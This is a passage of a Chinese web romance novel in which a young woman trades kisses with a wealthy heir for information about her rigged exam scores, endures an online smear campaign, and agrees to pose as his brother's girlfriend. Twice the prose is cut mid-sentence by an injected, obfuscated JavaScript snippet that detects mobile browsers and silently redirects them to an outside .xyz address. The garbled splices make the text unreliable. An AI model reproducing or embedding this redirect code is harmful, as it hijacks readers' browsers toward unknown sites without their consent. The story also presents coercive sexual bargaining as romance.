傅淮之却笑,对她的一切了如指掌似的:“遭人算计了?” “……”她难以置信地看向他,“你怎么会知道的?” 他反问:“有什么事情是我不能知道的?” 她什么都没说,他却什么都知道,因为他一直在调查她。 她的力量太微弱,只需要被人轻轻一剥,就完全-裸-露在他面前。 暗淡的眸光忽而闪过一道阴影。 ——那个陷害她的人,会是他吗? 他有权有势,可以轻而易举完成这些事,而且,他始终在报复她。 傅淮之却忽然问她:“想知道是谁吗?” 宋洛允怀疑地说:“你知道是谁?” 男人却轻轻抬起她的下巴,毫不掩饰他的欲-望,轻声说:“那要看看你的诚意。” 又是这样的局面。 每次都是他将她拦在死路,却同她谈条件,要她亲吻他。 这或许是他设计的圈套,倘若是他干的,他不会说实话。 但如果不是呢? 宋洛允垂下眸,想起那位烂透了的母亲,她应该还没有权利联合傅家的这位继承人吧。 好在接吻并非难事。 她已经摸索出一套最能让傅淮之满意的方法,双手攀上他的肩,踮脚尖够到他,舌尖单刀直入,主动纠缠他。 她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171357|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心事,注定难以用心,但她知道他总能敏锐地捕捉到她动作里的异样,于是短暂地将那些烦乱的事情抛到脑后,沉浸在这个吻里。 不过她现在才发现,他似乎无法忍受这样的她,呼吸很快乱了,他的手留在她的腰间,低头成了强势的那一方。 宋洛允忘记计算时间,但觉得应该结束了,便轻轻推开他。 他却抬眸近距离与她对视,又吻了一次。 迷糊间,听到轻轻的笑声。 唇边的湿润已经移到耳侧,他说:“你回应我了呢。” 宋洛允情不自禁地将口水咽下去,交叉的手松开。 又听男人算账似的,出声:“不是说,不是自愿的吗?” “……” 她假装不知道他是在算那个晚上她当那么多人的面说她被他强迫的账。 但傅淮之不会给她回避的机会,带着薄茧的指腹在她唇边蹭了蹭,很痒,让她的唇难自禁地颤了颤。 “那天晚上,他把你带走,还发生了什么?”他慢慢地说。 宋洛允抓住他的手,摸不准他的意思。 “什么都没发生。”她说。 “什么都没发生?”傅淮之重复她的话,“你觉得我信吗?” 他慢条斯理的语言总能让宋洛允不自觉心虚,急于解释:“真的,他把我送回家,之后就走了。” 傅淮之磨人的手又移动到她的脸颊,上边还带着温热的湿润。 “那么,那天晚上呢?” 宋洛允睫毛微微抖动,像沾露的蒲公英。 兴许是与他的牵绊时间长了,她默契地明白他指的是下暴雨的那个夜晚,她将傅泽鸣带到自己家里。 脸颊难受得过分,她不敢躲,轻声说:“一样,他给我买了饭,吃完就走了,他很有分寸,不会对我做什么。” “是吗?”傅淮之看着她,“那是我不够有分寸了。” “……”宋洛允很轻地叹气。 说多错多,她应该只需要回答他的话就行。 傅淮之却笑了,上扬的眉眼里居然藏着温柔。 她不知道,他特别喜欢这个时候的她,像只温顺小鹿,不会反抗,也不用怀疑她每句话的真假。 “他在追你。”他用肯定的语气说,“那你呢,对他什么感觉?” “……不喜欢。”宋洛允说。 “以后呢,会考虑他吗?”他这话说得居然像温和的哥哥在替弟弟寻找对象。 宋洛允摇头。 “以后都不会?” “……嗯。” 傅淮之笑得缱绻:“记住你说的话。” 心情大好似的,他抬高她的下巴吻了吻她的唇。 这次不同于以往,他的力道收了很多,是轻缓的,似带着调-情意味,就像是下了一场棋局胜利后的从容。 宋洛允却挤出了一滴眼泪。 这个她正怀疑给她使绊子的人,到底都在干什么。 这次的吻持续时间很短,分开时她居然产生不舍,睁开的眸里还写着迷离。 傅淮之看着她,单边眉毛轻轻上挑,带着戏谑。 宋洛允怕自己的情绪被他看穿,避开同他的对视,只能用更冷漠的话语掩饰她的不自然。 “傅大哥,您说吧,您知道的那个人是谁。” 傅淮之稍侧头,盯着那双不停回避视线的眼睛,又在她唇上咬了一口。 说她是野鹿,还真野,上一秒能同他缠绵接吻,下一秒又换上敬语,无情地说些他不爱听的话。 宋洛允用手挡住他,想让他松开她。 还好他能如她所愿,后退一小步,散漫地整理凌乱了的衣物。 才说:“你的成绩是有问题,罪魁祸首叫张酩,至于他受谁指使,现在还不清楚。” 宋洛允知道这个人,是她一门专业课的老师,大三时她参加过一个比赛,张酩提过想让她在指导老师那一栏写上他的名字,但她拒绝了,因此被他单独教育过。 要说矛盾,这算是,但要说因此结仇针对她,倒不至于。 她半信半疑。 于是说:“如果查到了,你会告诉我吗?” 傅淮之说:“那要看你能拿出什么做交换了。” 他犯了烟瘾,掏出一根烟咬在嘴里,火机“咔嚓”点燃,不过离她有一段距离,味道并不重。 宋洛允无法回答,她怕这是他的圈套,上当了会很难收场。但也怕不是他干的事,会让她失去唯一能求助的机会。 认真思考措辞,才用她认为足够体面的话语说:“谢谢您告诉我,这件事对我来说很重要,如果可以的话我还是希望您能再帮我一回。” 傅淮之咬着烟,笑了笑,身体刻意朝她靠近,她却如预见中那般往后缩,眼神里有惊慌。 他不再往前,只说:“宋洛允,我是商人,不是善人,应该知道我不会无缘无故帮助一个人。” 傅淮之认为,他对她的帮助已经够多了。 他大概不会再有耐心这么对一个人,任由她表现着他不爱看的态度、说着让他生气的话、甚至带着另一个人在他面前表现,而他还能忍下,一次又一次放过她。 他觉得,这是极限。 倘若她知好歹,那他不介意再这么相处下去。 但如果不知好歹,那就是背叛。 “所以如果还想有下一次,那你最好带上你的筹码,当然,你也可以提出其他要求。” 傅淮之再次靠近宋洛允,轻轻握住她的手,抬高,在她的手背落下一吻。 松开她,同时说:“下次不止一个吻那么简单。” 11. 利用 这次先离开的人是傅淮之,他就像一个对猎物势在必得的猎人,自信得连回头都不需要。 宋洛允靠在树下,望着他的背影。 她跟傅淮之差距太大了,甚至初次遇到这么一个人,可以将自己的欲望通过一件小事赤.裸裸地展现。 她很讨厌这种不受控的感觉。 也讨厌自己猜不中一个人心思,却还要与他牵扯不清。 男人身影消失,宋洛允随之离开,往与傅泽鸣约定的食堂走去。 …… 傅泽鸣没在食堂。 绕了个弯,在距离食堂不过几十米的位置看到他,他坐在长凳上,面对她但没注意到她,手中握着手机敲打,表情颇有失魂落魄。 “傅泽鸣。”宋洛允走过去。 听见声音,他迅速关闭手机,布满血丝的眼看着她。 “洛允。”他立刻腾出位置让她坐下。 看着她按照他预想的动作进行,他说:“你最近,是不是惹到谁了?” “怎么了?”宋洛允问。 傅泽鸣摇摇头,有件事他觉得不应该告诉她,但她早晚会知道的,到时候对她伤害会很大,但也不应该是现在让她受刺激。 他换了个话题:“你知道张酩吗?” 一连听到两个人提起这个名字,宋洛允警惕些许。 小心翼翼地问:“我们学院的教授,怎么了?” “他跟你的复试成绩有关系。”傅泽鸣说。 他有心事,看着宋洛允的眼神忽而失焦,过了一会才说:“张酩是傅家曾经资助过的人,傅家对他有恩,我们跟他不算熟,但是我的爷爷,还有我大哥同他一直有联系。” 他话说得有点乱,不确定宋洛允能不能听懂他的暗示,停下观察她许久,但她无动于衷。 颧骨紧绷,他试探性问:“洛允,你跟我大哥是不是有矛盾?” 宋洛允眼波轻轻晃动。 没等她回答,傅泽鸣接着说:“上次你被带去会所的事我怕不是巧合,自从那个时候开始,事情接二连三发生,都跟我大哥有关,我不愿多想,但我怕他盯上你。” 宋洛允只听他说。 看似没反应,其实她已经懵了。 接二连三的事情都在指向那个人。 绕是她再不愿相信,也不得不接受。 傅泽鸣已经急得让她脱离那个人—— “洛允,我大哥那个人阴晴不定,别说是你了,连我跟我父亲都无法控制他一切行动,但是如果你是我的女朋友,那你也是傅家一份子,他或许会看在我的面子上放弃对你的针对,再不济傅家也会为你撑腰,没有人再能欺负你。” “……”宋洛允拒绝,“这是两回事。” 傅泽鸣向她表白过很多次。 第一次是在他们成为朋友大概一个月时间,当时他为了她竞选学生会主席的事付出很多,她提出请他吃饭,但每次都是他偷偷结了账,又笑着说下次再请回来。 那时她因他刻入骨子里的绅士风度产生好感,但她怕他广撒网,便说再相处一段时间。 此后傅泽鸣总会将告白的话挂在嘴边,即使在同学聚会里也会突然问她“要不要做我女朋友”。偏偏她不喜欢这种带着很强目的性的行为。 宋洛允对感情很认真,她不会因为冲动而开始一段感情,她认为的感情应该建立在双方自愿的、平等的基础上,只要对方开始催促她,她就会退缩。 偏偏傅泽鸣性格与她相反。 她后退一步,他急得前进三步,强势地将她的肩膀掰回来。 他认为她只能是他的,却害怕别人夺走她,所以亲自为了她画了个圈,让她只能在他掌控范围内移动。 所以同这个人接触久了,最初的好感已经被无奈消磨,在宋洛允心里已为这段感情判了死刑。 “不,是一回事。”傅泽鸣的声音将她从回忆里捞出来。 他依然认真、急切,忙于说服她:“你那个上司敢在你面前那么横、你妈妈敢逼你辍学,是因为他们觉得你好欺负,你缺少一个身份,只要你是傅家人,就没人敢欺负你。洛允,我不想你被看不起,你应该更闪亮大方地做你想做的事情,你跟我在一起,傅家的资源跟人脉都可以被你利用。你考研失利没关系,但是你有的是其他出路,我会帮助你找到其他机会,或者申请出国留学。” 宋洛允无法回应。 第一次这么深刻认识到那个家族里培养出来的人的野性,因为知道仅靠单纯的感情无法绑架她,所以提出资源置换,偏偏这是她最需要的。 但她也不能因此妥协。 感情应该是严肃的。 这顿饭吃不成,宋洛允随便找了个借口,离开了。 傅泽鸣想送她,但被拒绝,他只能留在原地,让眼神直白地变成一把锁,死死扣在她身上。 他心里的躁动已经快掩盖其他情绪了。 他一下课就跑去找宋洛允,清楚她要去的办公室在哪个方向,他想第一时间接她。 但是他没想到,她会出现在办公楼附近的那棵树下——与别人拥吻。 那个宋洛允让他熟悉又陌生,那是他从来没有见过的模样,是主动的,忘情的,她面色潮红,呼吸急促,连指甲都难以控制地触摸男人。 傅泽鸣嫉妒得快要疯了,他非常清楚,那个将她压在身下的男人是傅淮之,是他最不愿遇见的大哥。 那晚的画面再次涌入脑海,这几日他无数次告诉自己,宋洛允跟傅淮之没有发生任何关系,她只是被送到那的棋子,她还没来得及被触碰。 但此刻,他再无法自我安慰,因为他深爱的女人已经被别人夺走了。 他接受不了,背过身,指甲深深陷入掌心,让自己保持平静。 她是被强迫的,她反抗不了。 所以他应该解救她。 他应该让她跟他在一起,这样才能保护好她。 …… 晚上忽然降温,怒吼的风撕扯着宋洛允的衣服,她行走在回家的路上,手里却拿着根冰棍。 除此之外,她拎着的袋子里还有好几种零食,夹心饼干、华夫饼、麻薯,以及牛轧糖。 全是甜食,她吃不下任何晚餐,只能靠甜食治愈自己。 路过小区楼下的花坛,这里尽是饭后过来散步的住户,她住在这几乎不跟邻居来往,平时无人认识她,但今天似乎有些不一般。 总有人朝她投去注视的目光,明晃晃的,却什么信息都没表达,小声地同身边人交谈。 她没在意,直到踏入电梯间,旁边是一对母子,小孩子眨着好奇的眼睛看她,忽然拉了拉女士的手,不加掩饰的声音说:“妈妈,你看这个姐姐像不像今天热搜上那个第三者?” 宋洛允脑袋轰地一下,炸开了。 电梯门打开,女士迅速将小孩带走,她只能听到一句压低音量的:“嘘,谁让你上网看那些乱七八糟的,小孩子别瞎说。” 已经有了预感似的,宋洛允回到家,连灯都没来得及打开,迅速在手机上翻找,点开热搜。 直到现在还有‘爆’的字样,一连几条都是: #刘叶衫出轨# #小三,贱# #刘叶衫工作室回应# #站姐称是女方纠缠# #刘叶衫妻子:已离婚# 她与刘叶衫见面的那张照片终于还是出现在网上了,当时他只不过抓了她的手腕,从图片上看却像是在牵手,她以正脸出现在上面,甚至不为她打码,就这么暴露在公众面前。 网络传播速度很快,甚至不需要关注信息真实性,已有漫天言论抨击她。 宋洛允尽力不让自己关注那些言论,但手上却不受控制地翻动,眼神逐渐呆滞,眼泪就这么滴落。 就像是被设计好的,那一幕、那个动作,她的正脸完全印在上面,将她推到风口浪尖。 哪怕这并非实情,但她没有公司,没有渠道,断了为自己辩解的路,只能眼睁睁看着工作室发了无数篇将锅往她身上推的声明,生生挨下所有骂名。 网络上没有人认识她。 但是现实当中有。 她踏入公司,言论已经在内部发酵,所有人都带着有色眼镜看她,背地里指责她、批胖她,恨不得让她不得好死。 宋洛允已经很累了。 她不想解释,不想在意他们口中说的话,很想请假回去躺几天,或许再也醒不过来,这样就不用面对了。 一个上午她没同任何人说话,到了午休时间,那些人甚至不加掩饰地在她面前谈论起来,“贱”“恶心”“没人性”等词用在她身上,她居然也麻木了。 Eva看不惯那些闲着没事干的人,烦躁地将电脑合上,转动椅子说:“烦不烦?别在这吵。” 她脾气硬,加上资历深厚,话说之后办公室内瞬间安静,无人敢同她唱反调。 起身将宋洛允喊到一边,她同她说:“网络上有些时候就是乌烟瘴气的,现在局面对你不友好,无论你说什么都会被曲解,还不如冷处理,别往心里去,也别看任何言论。” Eva在这一行待久了,对网络暴力这类事看得很透彻,但毕竟总是以旁观者角度,跟局中人心态完全不同,她无法劝宋洛允坚强。 她说:“我相信你是被冤枉的,既然解释不了,那就报警,让警察调监控,看看对方还有什么话说。” 宋洛允点头说好。 其实她并不认为自己没有处理好这些事情的勇气,只是她被接二连三的事情打击得很累,她疲于应付,也不愿面对。 说完这些,Eva才说:“刚才我收到通知,从今天开始我们不用再接手刘叶衫那个综艺了。” “为什么?”宋洛允看着她。 “综艺停播了,估计会黄。”Eva小声说。 顿了顿,才用没那么残忍的语气说:“公司怕影响企业经营,所以决定先观察舆论走向,在结果出来之前公司不会给你分配工作,这段时间你就当作休假,别想太多。” …… 整件事依然在发酵,听同事说楼下已经被堵了,因为有刘叶衫的粉丝扒到宋洛允工作的地点,忙着过来找人要说法。 宋洛允心惊胆战过了一天,带上口罩帽子踏入电梯,好在没人发现她。回到一楼,便可见外面躁动的人群。 过来的人不多,应该只有刘叶衫的几个大粉,但她们固执守在门口,连保安都赶不走。 她打算从侧门离开,但听见一个声音,停下看了眼。 傅泽鸣就在外面,与那些人发生争执,没动手,但字字句句都在维护她。 “你们甚至没有证据,仅凭一张照片能知道什么?这是污蔑人!” “他出轨该骂的人应该是他自己!你们同为女生,为什么对同性恶意那么大?” “我不管你们从哪得知的消息,现在都别在这守着了,再不走我报警了!” 宋洛允眼里冒着闪闪泪光,感激地看着他,可惜她此刻无法过去,默默收回视线,往小门走。 穿过熟悉的停车场,马上回到马路边,忽地有个影子从旁边闪过,再下一秒,她的手已经被紧紧拽住。 “宋洛允!” 是刘叶衫,他还穿着那套小狗衣服,但姿态完全不是上次见到他的模样,头发是凌乱的,瞳孔是扩大的,明明紧紧地拽着她,但手却在发抖。 “你毁了我,你毁了我。”他嘴边不停重复,神色绝望,盯着她,“我求求你帮帮我,我好不容易才拥有今天这一切,我不能被你毁了,你要帮我!” 因为惊吓,宋洛允的眼眶也红了,掐着他松开她的手,她怕这又是一个圈套,她不想再陷入他们龌龊的局中。 她冷声说:“到底是谁毁了谁?你在对我造谣,还有脸来找我?” 她不想跟这个人过多接触,边说边往外走,急于离开这个无人路过的地方。 刘叶衫却挡在她面前,不肯罢休:“你以为我想吗?让大家以为我出轨对我有什么好处?我才是受害者,就因为你,所有通告都停了,广告要解约,公司还要我赔偿,都是因为你!” 宋洛允只觉得可笑。 她不喜欢同精神不正常的人多说,努力将人推开。 刘叶衫继续说:“你别走,你不许走,我让你帮我你为什么不帮?傅总一直在报复我!他不仅毁了我,还毁了我的公司,他会让我以后在牢狱里度过,他手段太恶毒了,他不让我好过。” 宋洛允唇色发白。 刘叶衫的声音还在耳侧。 “你去求求傅总好不好,让他放过我,我错了,我不该惹他,也不该惹你,他太恐怖了,我惹了他是我该死,我错了,我真的错了。” 他似乎被刺激得精神失常,像是被恶魔扼住了咽喉,只剩下苟延残喘的能力,却还用尽气力求助。 他的话是无数把刀剑,刺入宋洛允的身体。 失去了信息读取能力,无数音调只能组成几个字: 一切都是因为傅淮之。 不能惹他,不该惹他,他们对于他不过是蝼蚁,他轻轻一捻,她就完了。 宋洛允用尽力气推开刘叶衫,努力逃离这里。刘叶衫不肯罢休,却被另一个人扯开,重重地丢在地上。 猛然回头。 是傅泽鸣。 他往刘叶衫腿上踹了一脚,手指着他严肃警告。宋洛允听不清他说的话,直到他靠近她,双手握着她的肩膀检查受伤程度,她依然没有反应,任他摆布。 无数的话语灌入她的耳朵。 “他碰了你哪里?难不难受?他们总是针对你,他们都觉得你好欺负,你不应该被这么对待,洛允,你答应我好不好,我不会让你再难过的。” 声音越来越弱,她听不清,双腿发软,失去了重心。 “洛允——” …… 宋洛允一直在做梦。 梦见自己被困在一个被黑暗笼罩的角落里,身后有黑影在追赶她,她奋力往前跑,却无论如何都甩不开那团黑雾,直到距离越来越近,完全将她吞没。 心脏狂跳,她却还没醒,眼睁睁看着自己被吸入黑雾里,她逐渐变形,瞳孔不停被挤压,四肢痛得快炸了,难以呼吸…… 她终于睁开眼。 纯白天花板,干净的床,泛着消毒水味道的空气,滴滴滴的仪器声。 她还活着。 那股窒息感却留在她的记忆里。 “洛允,你醒了!”傅泽鸣的脑袋冒出来,神色欣喜,“你精神压力太大了才会突然昏厥,你先好好休息,什么都别想,那些事情我会拜托家里人帮忙处理,会没事的,你放心。” 宋洛允点点头,其实她根本没心思听傅泽鸣说的话,她好累,只想安静待着。 傅泽鸣却一句接一句说话:“刘叶衫我已经让保安把他拉走了,事情再一次上了热搜,他的前途已经毁了。但是洛允,我怕这件事只是给你的警告,如果还有下次,我不敢保证每次都能那么准时出现在你面前。” 宋洛允头疼得快要炸了。 他却似乎忘记她刚醒来,坚持地说着:“洛允,我知道我做过一些事情让你很生气,但我真的很喜欢你,也不忍心看你这么难过,我想要你给我一个机会,就算是你利用我,让我大哥知道你是我的人,这样即使他还想干什么,我们整个家族都不会同意的,他们都会为了我们撑腰!” “——好。”宋洛允忽然回答。 话说出来连她自己也懵了,思绪混乱一团。 他说,让她利用他。 这或许是个好办法,傅泽鸣再怎样也是傅淮之的弟弟。 他再如何无情无义,也该放过自己弟弟。 傅泽鸣没反应过来,愣了愣,很快被兴奋替代。 “洛允,你终于答应我了!” 宋洛允握着被角,麻木地坐起身,低头沉默许久许久,最后从唇齿间滑出几个字:“……对不起。” “不用对不起,我心甘情愿被你利用。”傅泽鸣握住她的手,他的眼里有泪光,“即使不是真的恋人,我们也先交往,感情再慢慢培养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171358|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以吗?” 宋洛允闭上眼睛,盖住即将夺眶的眼泪。 她不知道自己最后有没有答应,满脑子只剩下无助,她只想解脱这种生活。 …… 傅氏,高层办公楼里的寂静因一声推门声破坏。 傅渝轩站在门口,盯着被震落的一叠纸。 ——完了,刚练完拳击,忘记收力,还好门没被他推坏。 傅淮之坐在落地窗前的办公桌,上一秒正头疼工业区一块地的规划,听见声音抬头,眉骨沉沉压下,冷冽的目光投射。 傅渝轩讪笑两声。 “别用这种眼神看我,如果你听到我接下来要说的内容,你会比我更惊讶。” 紧皱的眉头轻抬,傅淮之转动手上钢笔:“说。” “查出来了。”傅渝轩推了把椅子坐在他对面,三折叠手机展开,将屏幕上一份资料递过去。 “张酩前段时间递交了京大的辞呈,同时通过移民申请,估计九月份出国。但据我所知,他并不具备移民条件,傅家早在三年前停止对他的资助,仅凭京大博导的身份并不能支撑他移民所需的资金。” 张酩的学业道路比普通人顺利,多年前傅家家主外出考察过程中出了意外,那时刚上初中的张酩走了几里山路将机油带回来,因此被家主看上,带到傅家开始长达二十年的资助。 张酩成绩好,家主从未在资金上亏待过他,让他过上与其他傅家人无异的生活,直到他读完博士,傅家为他安排京大的工作,整个资助才算完成。 这么多年张酩挥霍惯了,离开傅家的他收入与支出的天平严重倾斜,曾出过擅自挪用学校经费的丑闻,让傅家出面才能摆平。 傅淮之从来不信弃恶从善,恶人内里烂透了,永远不会知足。 “但你说巧不巧,今年三月,傅泽鸣从共管账户里转出一千万,收款方姓张,单字酩。又在4月21号——也就是复试成绩公布的第二天,他再次往同个账户汇款一千万。”傅渝轩说。 转动的钢笔放下。 傅淮之蹙眉:“泽鸣?” “近两个月傅泽鸣与张酩的交往密切,不仅如此,他频繁联系的还有一位女士,周瑛殊。” 傅渝轩指尖轻轻在手机上滑动,下一份资料出现。 “周瑛殊,宋洛允的生母,七年前改嫁荣森集团创始人,与现任伴侣育有一男孩。去年荣森对外宣布与倪士联姻的消息,后面却莫名取消,倪士对比非常生气,取消与荣森所有合作。” 傅渝轩没明说,但意思很清楚了。 宋洛允的生母希望她代表公司联姻,但她没同意。 “或许是因为如此。”他接着说,“周殊瑛断了对女儿的经济支持,曾试图冒充她向学校申请退学,好在刘奕教授及时发现。” “傅泽鸣与品行这么恶劣的人相处,所以我猜测是他们串通起来,唆使张酩在复试成绩上造假。” 查到这个结果,连傅渝轩都觉得诧异,怕自己冤枉了人,于是来来回回确认。 结果指向的人只有一个,是傅泽鸣。 “不过我倒是很好奇——”傅渝轩饶有兴致地看着傅淮之:“傅泽鸣大费周章做这么多,到底是喜欢他的暗恋对象呢?还是恨她?” …… 宋洛允与傅泽鸣的相处变得微妙。 傅泽鸣照顾了她好几天,她把自己关在家里,他会把三餐买好送到她家门口。每次宋洛允只能邀请他进家里,两人同处一室,他总会找各种理由与她发生肢体接触。 宋洛允能避开的时候都不会跟他靠得太近,但次数多了,她受不了,便提醒他:“我们不是那种关系,你还是别这样了。” “抱歉,我太喜欢你了,是忍不住的。”傅泽鸣说,“但牵个手也不行吗,至少在大哥面前我们要亲密一点,不然他不会相信的。” 她怔了怔,不好拒绝了。 傅泽鸣说,下个月是傅家家宴,过两天假期他会回到傅家庄园同兄弟几位商讨家宴事宜,这个时候是向傅淮之介绍她最好的机会。 一想起这些事情,宋洛允整夜睡不着觉,永远不知自己面临的是解脱还是深渊。 一切按计划进行,傅泽鸣回傅家那天,清早从学校开车过来接她,看到她时却皱了皱眉。 宋洛允只穿宽松的短袖与外套,纤细却有线条的绝好身材被藏在衣服之下。傅泽鸣不喜欢她这么穿,他想让所有人知道他得到了这么一个完美的人。 把人接上车,没提前同她说,直接开到服装店。 他说:“换身衣服吧,这么穿不太好。” 宋洛允只想这么穿,因为舒服:“算了吧,只是吃顿饭,不是什么大场合,没必要专门买套衣服。” 傅泽鸣却坚持:“就当我送你的礼物,你去选一套,换上吧。” 再次有了被控制的无奈,如果他要她穿正式点的衣服应该提前告诉她,她家里有,而不是二话不说把她拉过来要她换上。 但宋洛允没坚持,她只想先把这天过完。 傅泽鸣相中一条超短裙,宋洛允不喜欢,选的是相对保守的小香风套装,她尽量让自己不去看价格,但结账时还是听到了,抵她半年工资。 两个人一同往外走,阳光下宋洛允露出来的一双腿更显精致,她肤色很白,腿又细又直,视线往上蔓延至腰间,线条流畅凹凸有致。傅泽鸣呆呆地看着,连到达停车场都没发现。 宋洛允没看他,但把原先穿的外套搭在腿上,盖住那抹白。 车子往外开,一道难以逾越的贫富分化由此成型。 傅家庄园在主城区内,如同一座城邦铺展在翠绿上,华丽、尊贵,就像上个世纪电影里英国贵族的居住场所被移至现实中,壮观到不敢随意走动。 整栋庄园有三个区域,家主住在南向,东南向是傅淮之的位置,除了家主及准继承人,其他傅家人在这里只拥有一套卧室,但并非自己的地盘,更像寄人篱下。 宋洛允刚下车,身后忽然响了一阵雷,天色阴沉沉,即将下雨。 管家前来接应,她等着傅泽鸣,即将往里走时又犹豫了。 “只是吃个饭,不要害怕。”傅泽鸣在她耳侧说。 他牵住宋洛允的手,或许觉得不够,又挤入指缝间十指相扣,紧紧地握着她。 “我们是男女朋友。”傅泽鸣出声,即使在提醒她,也是在提醒自己。 宋洛允不躲,用了些力气回应他,为了让他们的关系看起来更像真的。 大门推开,视线情不自禁聚集在主位上的人,他姿态随性但板正,指尖轻叩欧式沙发扶手,他并不在意来的人,始终以上位者的姿态同身边人交流,哪怕对方是他的父亲。 窗外又响了雷声,紧接着,倾盆大雨落下。 宋洛允心脏狂跳,但能察觉到牵着的那只手力道增加,显示着他的不安。 “大哥。”傅泽鸣出声。 正倾听的人才偏头,唇角仍端着微微的弧度,比假笑更真诚,比客套更生疏,眼神很快从男人移至身边女人,再停顿在他们紧紧相牵的手。 傅淮之笑容未变,只是笑意未达眼底,如淬了冰的双眸让周遭空气凝固,随着时间一分一秒,从那双手开始,将两个人冰封。 “大哥。”傅泽鸣再喊了一声。 双手泛凉,但他发现,牵着的那只手比他更冷。 雷声震天,仿若能毁了整个宇宙。 震耳欲聋中,那个声音却没被盖住。 傅泽鸣认真却着急地说:“大哥,这是我的女朋友。” 宋洛允才清醒似的。 忽然松了牵手的力道,指尖抗拒的力道想让傅泽鸣松手,尽管无济于事。 慌乱间,她对上傅淮之的眸眼。 是警告,是愤怒,失了一贯好心情。 瞬间,连挣扎都不敢,整个人似乎成了一具雕像。 脑子里是一片白,闪过那个时候的对话—— “会跟他在一起吗?” “不会。” ——记住你说的话。